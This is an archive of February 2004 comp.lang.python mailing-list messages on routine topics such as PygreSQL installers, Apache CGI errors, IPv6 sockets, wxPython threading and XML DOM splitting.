	<c1883b$lum$1@news.service.uci.edu> <403A088B.840F7141@engcorp.com>
Message-ID: <c1ekrb$bv4$1@news.service.uci.edu>

> For reference, this can be done using a debug build of the interpreter.
> I don't recall the name of the function or even which module it was
> in (sys or gc, presumably) but it was there.  (I think. :-)

That scares me, it is very dangerous.

  - Josiah


From exman at mizi.com  Mon Feb 16 17:53:05 2004
From: exman at mizi.com (Joon-Cheol Park)
Date: 16 Feb 2004 14:53:05 -0800
Subject: How to use Python + PygreSQL on a WinXP system
References: <3c7787f3.0402160716.44bb2157@posting.google.com>
Message-ID: <673ccb37.0402161453.2e4f6129@posting.google.com>

urgur at home.ro (Radu Stanciu) wrote in message news:<3c7787f3.0402160716.44bb2157 at posting.google.com>...
> Hi,
> 
> I want to use the PygreSQL modules on a Windows machine (more exactly
> a WinXP one). I've downloaded the latest version (3.4 so far) and I am
> required to build the pgmodule C library. Is there a way to avoid
> this? I need to install this on many user systems and it would be very
> hard to do.
> 
> Is there a compiled package available for this? Or an easier way to
> install this package?
> 
> Thanks in advance,
> 
> Radu Stanciu

I have a two compiled package.
but this package was made 2002 year.

for python 2.2
http://www.exman.pe.kr/board/pds.php?mode=down_file2&board_rno=163&board_type=application/octet-stream&board_file_name=PyGreSQL-3.1.win32-py2.2.exe
for python 2.1
http://www.exman.pe.kr/board/pds.php?mode=down_file2&board_rno=162&board_type=application/octet-stream&board_file_name=PyGreSQL-3.1.win32-py2.1.exe


From greeshma at mediaglue.co.jp  Tue Feb 24 23:44:27 2004
From: greeshma at mediaglue.co.jp (Greeshma)
Date: Wed, 25 Feb 2004 13:44:27 +0900
Subject: 'Premature end of script headers' error when starting Apache in
	boot time
Message-ID: <009201c3fb5a$12df2c30$4200a8c0@greeshma1>

Hi all,

I have successfully configured Apache 2.0.4 with RedHat 7.3 
and use Python 2.2.3 for cgi scripts. 
When I start Apache manually through /usr/local/apache/bin/apachectl startssl, 
I can execute the cgi scripts without any problem from the 
browser. This works fine. 

When I put the Apache start line in /etc/rc.local file so that Apache starts automatically at boot time, Apache starts without any problem, and I can access the HTML pages. 
But in case of CGI scripts, I get '500 internal server error' 
on the browser, and 2 errors in the error log '/usr/bin/env: python: No such file or directory, referer: ..' and 'Premature end of script errors'. In both cases, apache runs as root. 
I dont know much about this, but it seemed to be a permission 
problem, so confirmed that 755 is set for my cgibin directory. /usr/local/bin/python also has 755 permissions. 
This has not helped. Its not finding python, but I dont know 
how to fix it. At this point, if I stop Apache and restart it manually, 
everything again works fine. 

Any ideas? Any help would be highly appreciated. 

Rgds 
Greeshma
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From cookedm+news at physics.mcmaster.ca  Tue Feb 10 20:51:54 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Tue, 10 Feb 2004 20:51:54 -0500
Subject: Python.h problem-> /usr/include/python2.2/longobject.h:48:
 warning: ISO C89 does not support `long long'
References: <bf23f78f.0402101432.3ccff43c@posting.google.com>
	<16425.25330.886172.548459@montanaro.dyndns.org>
	<20040210231435.GB15796@spawar.navy.mil>
	<mailman.1448.1076460637.12720.python-list@python.org>
Message-ID: <qnkptcmgz7p.fsf@arbutus.physics.mcmaster.ca>

At some point, Skip Montanaro <skip at pobox.com> wrote:

>     Chris> Is "long long" an extension of ANSI C? That Python uses?
>
> Yup.  Python's build process knows the difference between 'long long' (the
> way GCC spells it) and _int64 (the way MSVC spells it).  No other extensions
> are currently supported.  Are there other ways to spell "64-bit int" in use
> at the moment?

Well, in C99 it's int64_t (which is guaranteed to be a 64-bit signed
integer). Or int_least64_t (at least 64 bits) or int_fast64_t (native
type with at least 64 bits that's the fastest of the alternatives).

Mind you, with GCC they're all typedef'ed to long long int (or long
int for 64-bit platforms).

Hmm, does PY_LONG_LONG have to be (at least) 64-bits? A quick grep
through the source seems to suggest that it's used as a large integer
type -- not as something that holds at least 64 bits.

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From steve at ninereeds.fsnet.co.uk  Wed Feb  4 16:01:50 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Wed, 04 Feb 2004 21:01:50 +0000
Subject: PEP 327: Decimal Data Type
References: <mailman.1131.1075733260.12720.python-list@python.org>
	<qnkr7xdceyv.fsf@arbutus.physics.mcmaster.ca>
	<apd020l6ri1sq9rhk87d2c0trcg4rnoi8m@4ax.com>
	<qnkd68ud3lh.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <vbn2201bm6hcp527qd8mimemi5trt5o9q8@4ax.com>

On Wed, 04 Feb 2004 14:52:42 -0500, cookedm+news at physics.mcmaster.ca
(David M. Cooke) wrote:

>I was being a bit facetious :-)

Ah - sorry for taking it the wrong way.


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From dontbotherworld at yahoo.com  Mon Feb 23 03:47:17 2004
From: dontbotherworld at yahoo.com (dont bother)
Date: Mon, 23 Feb 2004 00:47:17 -0800 (PST)
Subject: Help on Email Parsing
Message-ID: <20040223084717.74027.qmail@web60805.mail.yahoo.com>

Hey,
I have been trying to parse emails:
But I could not find any examples or snippets of
parsing emails in python from the documentation.
Google did not help me much too.
I am trying to understand the module 'email' and the
functions described there to parse email but seems
difficult.
Can anyone help me in locating some pointers or
snippets on this issue.
Thanks a Ton
Dont

__________________________________
Do you Yahoo!?
Yahoo! Mail SpamGuard - Read only the mail you want.
http://antispam.yahoo.com/tools



From jcarlson at nospam.uci.edu  Mon Feb  2 16:41:27 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 13:41:27 -0800
Subject: OT: why do web BBS's and blogs get so slow?
In-Reply-To: <7x4qu9s319.fsf@ruckus.brouhaha.com>
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<7xy8rmukd2.fsf@ruckus.brouhaha.com>
	<bvktq3$k3b$1@news.service.uci.edu>
	<7xvfmp7tpn.fsf@ruckus.brouhaha.com>
	<bvm0t5$j44$1@panix3.panix.com>
	<7x4qu9s319.fsf@ruckus.brouhaha.com>
Message-ID: <bvmgag$3l2$1@news.service.uci.edu>


>>LJ is huge.  I'd guess probably >50% of their active userbase is paying.

If you check their stats page (that I linked):
http://livejournal.com/stats

They have ~80,000 paid members.  Even when buying in a yearly package, 
that's around $2/month, which puts them at around $160k/month in 
revenue, not including those that pay the additional ~$1/month for extra 
livejournal icons.

> That sounds that they can deal with scaling issues by just throwing
> more hardware at the problem.  Especially since I think their
> high-traffic pages (like the home page) are static.  The dynamic pages
> are user journals which I think don't interact with each other that
> much and which (unlike Slashdot's comment threads) don't individually
> get very heavy traffic.  They could basically have completely separate
> servers for usernames beginning with "a", "b", "c", etc. and have a
> simple load balancer redirecting browser requests.

This was discussed some months ago on the news journal:
http://livejournal.com/users/news

If you are interested, read up.

> Yeah, but I don't know if I could stomach looking at that much Perl code.

I agree.

  - Josiah



From frithiof.jensen at removethis.ted.ericsson.dk  Thu Feb 26 07:03:21 2004
From: frithiof.jensen at removethis.ted.ericsson.dk (Frithiof Andreas Jensen)
Date: Thu, 26 Feb 2004 13:03:21 +0100
Subject: Encrypting modules..
References: <871xojuckf.fsf@syn.codemonkey.net>
Message-ID: <c1kn71$s9b$1@newstree.wise.edt.ericsson.se>


<jbi130 at yahoo.com> wrote in message
news:871xojuckf.fsf at syn.codemonkey.net...


> If this is the case, is the only alternative to hack up the
> interpreter and the bytecode in generates/reads?

.. Which will not stop any dedicated reverse engineering for very long and
probably trigger subtle bugs in extention modules because people will have
made assumptions about how the interpreter works. In any case, it blows up
when the user upgrades Python which will piss the users off (or maybe not:
Java is still around ;)

It would be easiest to stick "the secret bit" on a secure server and access
it via Pyro;

A little harder to stick "the secret bit" in an C/C++ extension module.

In both cases, of course, one can see the interface and the protocol it uses
and "route around the damage" i.e. provide a module that does the same but
is unemcumbered by IPR.





From n4482 at klaff.org  Thu Feb 19 12:46:30 2004
From: n4482 at klaff.org (n4482 at klaff.org)
Date: Thu, 19 Feb 2004 09:46:30 -0800 (PST)
Subject: ANN: matplotlib-0.50 - python plots
References: <mailman.76.1077040599.31398.python-list@python.org>
Message-ID: <20040219174630.D9B38DDE93@rmta04.mta.everyone.net>

Hi,

I'm trying to play with matplotlib, but am having installation trouble.

I installed GTK from GTK-Runtime-Environment-2.2.4.1.exe into
c:\gtk as suggested in the installation notes and added
c:\gtk\bin and c:\gtk\lib to the path.

I installed pygtk from pygtk-2.0.0.win32-py2.3.exe and matplotlib from
matplotlib-0.50.win32-py2.3.exe.

If I try to execute
>>> from matplotlib.matlab import *
I get a dialog box titled: python.exe - Entry Point Not Found and
The procedure entry point libiconv_set_reloaction_prefix
could not be located in the dynamic link library iconv.dll.

The following traceback is issued:

Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "C:\Python23\Lib\site-packages\matplotlib\matlab.py", line 126, in ?
    from backends import new_figure_manager, error_msg, \
  File "C:\Python23\Lib\site-packages\matplotlib\backends\__init__.py", line 16,
 in ?
    from backend_gtk import  \
  File "C:\Python23\Lib\site-packages\matplotlib\backends\backend_gtk.py", line
13, in ?
    import gobject
ImportError: DLL load failed: The specified procedure could not be found.
>>>

I'm running python 2.3.3 on Windows XP.

Any thoughts?

Dave




From timothy.williams at nvl.army.mil  Wed Feb  4 09:09:04 2004
From: timothy.williams at nvl.army.mil (Tim Williams)
Date: 4 Feb 2004 06:09:04 -0800
Subject: examining 'self' in IDLE
Message-ID: <faf44c99.0402040609.7a9aa91@posting.google.com>

Hi.

I'm trying to debug my program under IDLE. I can step through the
source, and see the local variables, but I want to be able to look at
what are in my class instances. All I have in Locals list is 'self'.
How do I dig into the members?

Thanks.


From http  Mon Feb  2 12:51:34 2004
From: http (Paul Rubin)
Date: 02 Feb 2004 09:51:34 -0800
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<401ce2b0$0$282$edfadb0f@dread12.news.tele.dk>
	<7xfzdus742.fsf@ruckus.brouhaha.com>
	<401df685$0$248$edfadb0f@dread12.news.tele.dk>
	<wIoTb.740$VP1.583556@newshog.newsread.com> <401E2E40.90204@mxm.dk>
Message-ID: <7x8yjls72x.fsf@ruckus.brouhaha.com>

Max M <maxm at mxm.dk> writes:
> >> Or even faster if "Hi <username>" was two gifs that could be loaded.
> > Please, don't lose accessibility for some petty speed gain.
> 
> I was talking about how to optimize for speed, and how designs can be
> changed for the purpose of speed.

You could also do it with client side javascript in a static page:
 
   <script>
   document.write("hi " + get_username(document.cookie))
   </script>

if the username is stored in a browser cookie.  More generality you
can simulate a client side include:

    <script src=username.js></script>

where the server responds to requests for username.js with

   document.write("hi [username]")

after determining the username from the sent cookie.  The server to
use cache control headers very aggressively to stop the browser from
showing the wrong name if someone logs off and then logs back in as
another user.  I remember cackling somewhat madly when I came up with
this, because it was after having spent about a whole day coding up
generating a messy page dynamically and realizing I could do the above
instead (more complicated situation of course).


From opstad at batnet.com  Tue Feb 24 17:55:29 2004
From: opstad at batnet.com (David Opstad)
Date: Tue, 24 Feb 2004 14:55:29 -0800
Subject: Linguistically correct Python text rendering
References: <opstad-0804D8.08595821022004@news-central.ash.giganews.com>
	<mailman.33.1077633885.8594.python-list@python.org>
Message-ID: <opstad-5EF6C3.14552924022004@news-central.ash.giganews.com>

In article <mailman.33.1077633885.8594.python-list at python.org>,
 "Mike Maxwell" <maxwell at ldc.upenn.edu> wrote:

> Isn't this a function of whatever app you're running Python code inside (a
> terminal or something)?  E.g. could you take the output of your Python
> program as a file and display it in Yudit or a Pango app?

In an interactive Python session on the Mac, the terminal window can 
display Asian or accented Latin with no problem, so that:

>>> firstCJKChar = u"\u4e00"
>>> print firstCJKChar.encode('utf-8')

gives the correct output, the Chinese character "yi". (The terminal's 
defaults are for UTF-8 text display)

All I'm wondering is whether this odd asymmetry (between parts of 
Unicode that display correctly with no further work and parts of Unicode 
that need more active processing) is something that could be addressed 
by adding more sophistication to Python's own output formatting. The 
alternative is, as you suggest, to export Unicode text and open it with 
another application, but I want Python to shine for all languages by 
default!

Dave


From bob at redivi.com  Thu Feb 26 17:47:50 2004
From: bob at redivi.com (Bob Ippolito)
Date: Thu, 26 Feb 2004 17:47:50 -0500
Subject: Pure Python HTTPS Server
References: <c1lq2u$t13$1@news-int2.gatech.edu>
	<7xd6814gzi.fsf@ruckus.brouhaha.com>
Message-ID: <2004022617475016807%bob@redivicom>

On 2004-02-26 17:24:01 -0500, Paul Rubin <http://phr.cx at NOSPAM.invalid> said:

> "Mikey At Work" <itsmikeytime at yahooNOSPAM.com> writes:
>> Does anyone know of any HTTPS servers available that are totally
>> written in Python?  Thanks.
> 
> That depends on what you mean by "pure".  You can do it with the various
> OpenSSL Python bindings that have been written.  I don't think anyone
> has ever written a complete SSL stack in Python.  I've toyed with the
> idea but it would be a lot of work.

Have you seen: http://trevp.net/tlslite/ ?




From premshree_python at yahoo.co.in  Thu Feb 19 06:16:08 2004
From: premshree_python at yahoo.co.in (=?iso-8859-1?q?Premshree=20Pillai?=)
Date: Thu, 19 Feb 2004 11:16:08 +0000 (GMT)
Subject: Socket Programming in Python
Message-ID: <20040219111608.5951.qmail@web8301.mail.in.yahoo.com>

For the uninitiated: "Socket Programming in Python" at
evolt.org: http://evolt.org/article/Socket_Programming_in_Python/17/60276/index.html

=====
-Premshree
[http://www.qiksearch.com/]

________________________________________________________________________
Yahoo! India Insurance Special: Be informed on the best policies, services, tools and more. 
Go to: http://in.insurance.yahoo.com/licspecial/index.html



From newsgroups at jhrothjr.com  Thu Feb 12 09:40:21 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Thu, 12 Feb 2004 09:40:21 -0500
Subject: does python support mvc  architecture
References: <f046efac.0402120627.948b7ed@posting.google.com>
Message-ID: <102n468gt8klr44@news.supernews.com>

<ketulp_baroda at yahoo.com> wrote in message
news:f046efac.0402120627.948b7ed at posting.google.com...
> Hi
> Does python support MVC architecture? Java has register & notify
> obsever methods in javax.util . Does python has these functions. If
> not then how to register the views with the models & how to notify the
> views that the model has been updated??

I don't know of a notifier class in the standard library,
but it's not all that difficult to write one. This is the
one I am currently using:

-----------------------------------------------------
# module Notify

class Notify(object):
    def __init__(self):
        self.listenerList = []

    def sendMessage(self, event):
        for callback in self.listenerList:
            callback(event)
        return

    def addListener(self, callback):
        self.listenerList.append(callback)

    def removeListener(self, callback):
        self.listenerList.remove(callback)
-----------------------------------------------------

callback has to be a callable of some kind,
a bound method is perfectly acceptable and
that's what I use. Works great.

John Roth




From fumanchu at amor.org  Mon Feb 23 18:51:48 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Mon, 23 Feb 2004 15:51:48 -0800
Subject: subject with smtplib?
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D97@opus.amorhq.net>

Jeff Sandys wrote:
> Can you include a subject with sendmail using smtplib?

Hi, Jeff,

Try starting your message "body" with header lines, a la:

To: sandys at juno.com
From: fumanchu at amor.org
Subject: Putting subjects in smtp messages


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From mcfletch at rogers.com  Wed Feb 25 06:13:47 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 25 Feb 2004 06:13:47 -0500
Subject: Locate python home
In-Reply-To: <c1htmp$2ia4$1@news.uit.no>
References: <c1ho3e$2g8h$1@news.uit.no>	<c1hp3a$71e$1@swifty.westend.com><c1hqsb$2h4v$1@news.uit.no>	<mailman.90.1077703253.8594.python-list@python.org>
	<c1htmp$2ia4$1@news.uit.no>
Message-ID: <403C836B.3050502@rogers.com>

Thomas Aanensen wrote:

>>Never trust the assumption:
>>
>> >>> import os
>> >>> os.path.isfile( os.path.join(os.path.dirname( sys.executable ),
>>'python.exe' ))
>>False
>>
>>(This is from within Pythonwin, which has its executable elsewhere).
>>
>>It's a good idea to check and see if the file really does exist.  If it
>>doesn't, either raise an error to tell the user to figure out what's
>>wrong, or use the executable as given, (possibly checking/raising the
>>error *only* if the executable is named pythonw and you can't find the
>>python executable, though that would still have you running PythonWin in
>>the above example (checking for "not named python" would be safer)).
>>    
>>
>
>What about using PYTHONHOME as environment variable. Is that appropriate?
>  
>
Well, doesn't exist on my win2k machine, at least.  Using sys.executable 
with some defensive programming is probably what you really want.  Just 
*check* the assumptions and punt if there's a problem (with a useful 
error message).  99% of the time you'll be fine, and the other 1% of the 
time people are being silly anyway (such as running the script from 
Pythonwin) and just need to be knocked up-side the head with a 
cloodle-stick :) . 

"Can't find python.exe in executable's directory %r, and the running 
executable is not named python.exe, please use python.exe to run this 
script" or "Can only find pythonw.exe in directory %r, this script needs 
access to python.exe, please contact technical support to get a full 
python installation" might be suitable error messages.

Enjoy yourself,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From manders2k_NOSPAM at yahoo.com  Wed Feb  4 12:05:24 2004
From: manders2k_NOSPAM at yahoo.com (manders2k)
Date: 4 Feb 2004 09:05:24 -0800
Subject: different string representation (buffer gap)
References: <ddcff747.0402030909.49343c44@posting.google.com>
	<7xr7xbfjbe.fsf@ruckus.brouhaha.com>
Message-ID: <ddcff747.0402040905.1808c0d5@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7xr7xbfjbe.fsf at ruckus.brouhaha.com>...
> You can do some of that with the array module, but Python's regexp 
> library doesn't give any way to search backwards for a regexp, so that's
> another problem you'll face trying to write an editor in Python.

Yeah, I have a feeling that it might be easier to code up the buffer
in C/C++, and embed it in the interpreter.  I'm not sure how much of a
performance bottleneck having this very low-level component written in
python will be on modern machines; probably not such a big deal. 
Writing a buffer class and fiddling with pointers and whatnot actually
sounds easier to do in C++ than in emulating this style of thing in
Python (then again, I'm a heck of a lot more comfortable with C++ than
Python at this point, so that might not speak to the difficulty of the
task).

What I guess I wish were the case is that I could implement the
"string interface" on my BufferGap, so that everywhere that Python (at
the C API level) expects a string, a BufferGap could be used instead. 
That way, all the libraries that inspect and operate on strings would
work transparently, without having to be recoded (copy / paste, end up
with a lot of mostly identical, redundant code) to operate on this
other string representation.  Maybe this just isn't possible with the
current C-Python implementation.  I suspect it would be with many
possible C++-Python implementations, but we don't have one of those
lying around so...

I'm pretty sure that for modest size buffers (even a megabyte of
text), copying the contents of the buffer into a python-string
representation before operating on it with python-libraries would be
transparently fast.  It just seems...wasteful, and potentially very
bad news if someone ever tried to do a regex search on a buffer that
occupied more than half of the physical memory of the machine or
somesuch.


From michele.simionato at poste.it  Sat Feb 21 04:47:22 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 21 Feb 2004 01:47:22 -0800
Subject: hmm, lets call it: generic __init__  problem
References: <c0u0fa$1asj0f$1@ID-131134.news.uni-berlin.de>
	<95aa1afa.0402180908.1f7a8b6c@posting.google.com>
	<c12l27$1dhtdh$1@ID-131134.news.uni-berlin.de>
Message-ID: <95aa1afa.0402210147.782625c7@posting.google.com>

paul k?lle <koelle1 at uni-weimar.de> wrote in message news:<c12l27$1dhtdh$1 at ID-131134.news.uni-berlin.de>...
<snip considerations about super>

It came to my mind that you may want to read this post of mine (how
to make __init__ calling super automagically):

http://groups.google.it/groups?hl=it&lr=&ie=UTF-8&threadm=2259b0e2.0212101101.2d93729e%40posting.google.com&rnum=1&prev=/groups%3Fhl%3Dit%26lr%3D%26ie%3DISO-8859-1%26q%3Dautoinit%26btnG%3DCerca%2Bcon%2BGoogle%26meta%3Dgroup%253Dcomp.lang.python.*

It does not solve your problem but it can give you some idea.
HTH,

       Michele


From max at ucmg.com.ua.remove.it  Wed Feb 11 02:43:59 2004
From: max at ucmg.com.ua.remove.it (Max Ischenko)
Date: Wed, 11 Feb 2004 09:43:59 +0200
Subject: communicating with Java (from Python)
In-Reply-To: <xqx3c9jz8f4.fsf@cola2.ca.boeing.com>
References: <c0a1tu$vue$1@hyppo.gu.net> <xqx3c9jz8f4.fsf@cola2.ca.boeing.com>
Message-ID: <c0cmdh$bu$1@hyppo.gu.net>

Harry George wrote:
>>I want to communicate my Python application with the Java one.
>>The most obvious choice is XML-RPC, but ... I wonder about something
>>more pythonic and powerful, like pyro.

> 
> There was a thread to this topic a few weeks ago and XML-RPC came up
> as the best bet, even for on-the-same-box communication.

OK, thanks.


From jepler at unpythonic.net  Thu Feb 26 08:50:54 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Thu, 26 Feb 2004 07:50:54 -0600
Subject: Antwort: Re: Some language proposals. ['LBBW': checked]
In-Reply-To: <OF4D341E74.06E9C389-ONC1256E46.00343710-C1256E46.0034B9EC@lbbw.sko.de>
References: <OF4D341E74.06E9C389-ONC1256E46.00343710-C1256E46.0034B9EC@lbbw.sko.de>
Message-ID: <20040226135053.GD28636@unpythonic.net>

On Thu, Feb 26, 2004 at 10:36:17AM +0100, Holger Joukl wrote:
> Well, there is no bug at all, as far as I can see. Runs in my interpreter.
> Cheers
>   Holger

I think that the person you were replying to (whose name you kindly
removed, so I have no idea who it was) was trying to refer to this
behavior:

>>> class A: pass
... 
>>> def f(): pass
... 
>>> A.f = f; assert A.f is f
AssertionFailure

The statement "A.f = f" sets A.__dict__['f'] = f.  The statement 'A.f is
f' calls type(A).__getattribute__, which returns an "unbound method
object".

I won't argue that this behavior isn't surprising (since apparently it
surprised somebody) but it's because of this behavior that the following
code works:
    class A:
        def f(self): pass

    a = A()
    A.f(a)
.. if A.f returned something other than an unbound method object, then
it would also be legal to call 'A.f(0)' when 0 is not an instance of A.

If the OP wants to add a function to A that is not treated as a normal
method, then he can use the 'staticmethod' wrapper.
>>> A.f = staticmethod(f)
>>> A.f is f
1


Jeff



From tjreedy at udel.edu  Thu Feb  5 15:50:41 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 5 Feb 2004 15:50:41 -0500
Subject: integer overflow
References: <V7Cdnagd9Yd0-r_dRVn_vQ@news.rockefeller.edu><m3n07x5vxp.fsf@pc150.maths.bris.ac.uk>
	<_LKdnSsPRbRZ77_dRVn_vQ@news.rockefeller.edu>
Message-ID: <bvuab1$oqm$1@sea.gmane.org>


"Chad Haynes" <haynesc at rockefeller.edu> wrote in message
news:_LKdnSsPRbRZ77_dRVn_vQ at news.rockefeller.edu...
> Michael Hudson wrote:
>
> > Chad Haynes <haynesc at rockefeller.edu> writes:
> >> lst[0] = num
> >>
> >>produced this error
> >>
> >> OverflowError: unsigned short is greater than maximum
> >>
> >>The number was around 65536 so it makes sense that it would overflow a
> >>short, but why is it trying to force it into a short integer?
> >
> >
> > Is lst an array.array('h') or something (numarray...)?
>
> Nope, its just a regular list

Suggestion: open interactive window, type in minimal lines of code needed
to reproduce error, then cut and post entire window, including header that
identifies your particular binary.  Also mention the source of binary (who
compiled, you or someone else).

TJR







From john.burton at jbmail.com  Sun Feb 15 13:32:06 2004
From: john.burton at jbmail.com (John Burton)
Date: Sun, 15 Feb 2004 18:32:06 -0000
Subject: IPv6 question
References: <9r14g1-1vu.ln1@neon.jbmail.com> <uh24g1-40v.ln1@neon.jbmail.com>
	<c0oc6j$592$01$1@news.t-online.com>
Message-ID: <hjq4g1-1c1.ln1@neon.jbmail.com>

Martin v. L?wis" <martin at v.loewis.de> wrote in message
news:c0oc6j$592$01$1 at news.t-online.com...
> John Burton wrote:
> > If I need to create an IPv4 socket and IPv6 socket and listen on both
that
> > doesn't
> > seem to work.
> >
> >  sock4 = socket(AF_INET, SOCK_STREAM)
> >  sock4.bind(('', 12345))
> >  sock6 = socket(AF_INET6, SOCK_STREAM)
> >  sock6.bind(('', 12345))
> >
> > I get an error that the address is already in use on the 2nd bind even
> > though it's to a different
> > socket type. This is on linux.
> > Has anyone got this to work? Or am I missing something?
>
> You are missing something important. According to RFC 2553, a PF_INET6
> socket can be used for IPv4 communication, by means of IPV4_MAPPED
> addresses (::FFFF:<IPv4-address>). So an application openening a
> PF_INET6 listening socket will accept both IPv4 and IPv6 incoming
> connections.
>
> If you want a socket that listens only on IPv6 connections, you
> need to set the IPV6_V6ONLY socket option. In your case, it is
> sufficient to just not create the IPv4 socket. When clients connect
> through IPv4, you will find that the peername(2) of the socket
> is an IPv4-mapped address. You should never ever transmit such
> an address over the wire; it is meant for local use only.

Thank you for your reply. That makes a lot of sense and I've had another
try and it does work as you suggest. (I was thinking that Ipv6 sockets
were not receiving connections via ipv4 because as you say they are
reporting an ipv6 style mapped address)

I've got a horrible feeling it doesn't work like this on windows though
(my python build on windows doesn't seem to support ipv6 so I can't
try it)




From wfolta at netmail.to  Sun Feb 15 15:38:10 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Sun, 15 Feb 2004 15:38:10 -0500
Subject: mailing list problems?
In-Reply-To: <c0o5ht$uvk$1@sea.gmane.org>
References: <20040214221839.GA22649@nl.linux.org> <c0o5ht$uvk$1@sea.gmane.org>
Message-ID: <DE3D72AE-5FF6-11D8-BE5B-000A959CB2EC@netmail.to>

> I have today seen only 5 mailing list messages to the python-list.
> I see >30 messages in c.l.py newsgroup.
> Do other people experience problems as well, or do I have a problem at 
> my
> end?

No, I've only seen a handful of messages in the last couple of days, 
too. It's strange to see more messages in the Mac Python list than in 
this one. (My domain is ".to", but I'm in the US, if that makes a 
difference.)




From anand at easi.soft.net  Thu Feb 26 00:37:12 2004
From: anand at easi.soft.net (Anand K Rayudu)
Date: Thu, 26 Feb 2004 11:07:12 +0530
Subject: Python: GUI Builder
Message-ID: <403D8608.40103@easi.soft.net>

Hi All,

I am new to python & want to build some GUI dialogs.
Can some one please suggest some document reference.

I am hoping that standard python install will have some GUI development 
modules & GUI builder in built.
I have python 2.3.3.

Can some one please suggest

Thanks in advance.


Anand







From scrutinizer at gmx.at  Sun Feb  1 11:46:54 2004
From: scrutinizer at gmx.at (Francesco)
Date: Sun, 01 Feb 2004 17:46:54 +0100
Subject: wxPython issues
Message-ID: <ssaq10pipoj5c8hn7pjcm2r1o0vvf9j8j2@4ax.com>

Hello,

I have some questions:

1.
this is in Mainthread:
    def OnOverwriteDlg(self, event):
        print "OnOverwriteDlg"
        dlg = COverwriteDlg ()
        dlg.m_strInfo = g_strTitle
        g_nGuiResult = dlg.ShowModal()
  ???      g_objGUISyncSemaphore.release ()
(not working)

that is in worker thread:
    print "DlgOverwriteThreadsafe"
    g_strTitle = _("Overwrite %s ?") % strFile

    event = wxCommandEvent ()
    event.SetEventType (wxEVT_COMMAND_BUTTON_CLICKED)
    event.SetId (19999)
    pFrm = wxGetApp().GetFrame()
    if(pFrm):
        wxPostEvent(pFrm, event)

    #wxpython: do not use this
    ????#wxYield()
    #//wait for GUI to end with owerwrite dialog

    print "before"
   ???? g_objGUISyncSemaphore.acquire()
    print "after"
    print g_nGuiResult
    return g_nGuiResult

How can I get, that in worker thread on "before" is waiting, until the
dialog in mainthread is finished?


wxYield, Semaphore, Mutex, ... is all a bit strange for me.
Is there any website dedicated to this issues?

2. I want to get a list icons from the windows shell folders and put
it in the wxPython List control. How can I accomplish this?

3. 
  menuAdd(self, pMenuFile, _("Exit") +"\tAlt+F4", _("Exit"),
self.OnClose, wxID_CLOSE)
    def OnClose(self,event):
        #store startup preferences
the onclose is called by ending the program via menu or Alt-F4.
but if i quit the program with the mouse right above, the onclose will
not be called.

Many thanks in advance,


-- 
Francesco


From PeterAbel at gmx.net  Mon Feb 16 08:36:04 2004
From: PeterAbel at gmx.net (Peter Abel)
Date: 16 Feb 2004 05:36:04 -0800
Subject: __del__ doesn't work
References: <21064255.0402151141.51a38fed@posting.google.com>
Message-ID: <21064255.0402160536.5cdefe5a@posting.google.com>

PeterAbel at gmx.net (Peter Abel) wrote in message news:<21064255.0402151141.51a38fed at posting.google.com>...

Thank you guys for your quick answers.
Back reference is the problem. It's done in a not quite obvious way,
so I didn't realize it immediately. I'll try to find a workaround
either by weakref or anything else to avoid this.

Many Thanks
Peter


From brice.vissiere at costes-gestion.net  Thu Feb 12 10:59:21 2004
From: brice.vissiere at costes-gestion.net (Brice Vissi?re)
Date: 12 Feb 2004 07:59:21 -0800
Subject: Splitting a DOM
Message-ID: <fa538331.0402120759.44f20301@posting.google.com>

Hello,

I would like to handle an XML file structured as following
<ROOT>
<STEP>
...
</STEP>
<STEP>
...
</STEP>
...
</ROOT>

>From this file, I want to build an XML file for each STEP block.

Currently I'm doing something like:

from xml.dom.ext.reader import Sax2
from xml.dom.ext import PrettyPrint

reader = Sax2.Reader()
my_dom = reader.fromUri('steps.xml')
steps = my_dom.getElementsByTagName('STEP')

i=0
for step in steps:
	tmp = file('step%s.xml' % i,'w')
	tmp.write('<?xml version="1.0" encoding="ISO-8859-1" ?>\n')
	PrettyPrint(step , tmp , encoding='ISO-8859-1')
	tmp.close()
	i+=1

But I'm pretty sure that there's a better way to split the DOM ?

Thanks for any suggestion provided.

Brice


From rmb25612 at yahoo.com  Sun Feb 15 06:06:58 2004
From: rmb25612 at yahoo.com (Richard James)
Date: 15 Feb 2004 03:06:58 -0800
Subject: [ANN] Atox 0.2 released
References: <slrnc2qk2c.9li.mlh@furu.idi.ntnu.no>
	<2c60f0e0.0402141444.3d0b785f@posting.google.com>
	<yfidnROF5MbLJLPdRVn-ug@giganews.com>
Message-ID: <2c60f0e0.0402150306.78e188ee@posting.google.com>

Istvan Albert <ZZZ-ialbert-ZZZ at mailblocks-ZZZ.com-ZZZ> wrote in message news:<yfidnROF5MbLJLPdRVn-ug at giganews.com>...
> Richard James wrote:
> 
> > But, I wasted a lot of valuable time and credibility trying to sell
> > NOGUI uh... ANYGUI for in house rapid MS Windows gui development to my
> > boss and co-workers.
> > 
> > I don't know how many times I said: I'm sure the next release is just
> > around the corner. And it will run on ANY gui that our customers have
> > installed!!!!!
> 
> The question that pops into one's mind here is why would you promise
> things that are completely out of your control? I understand your
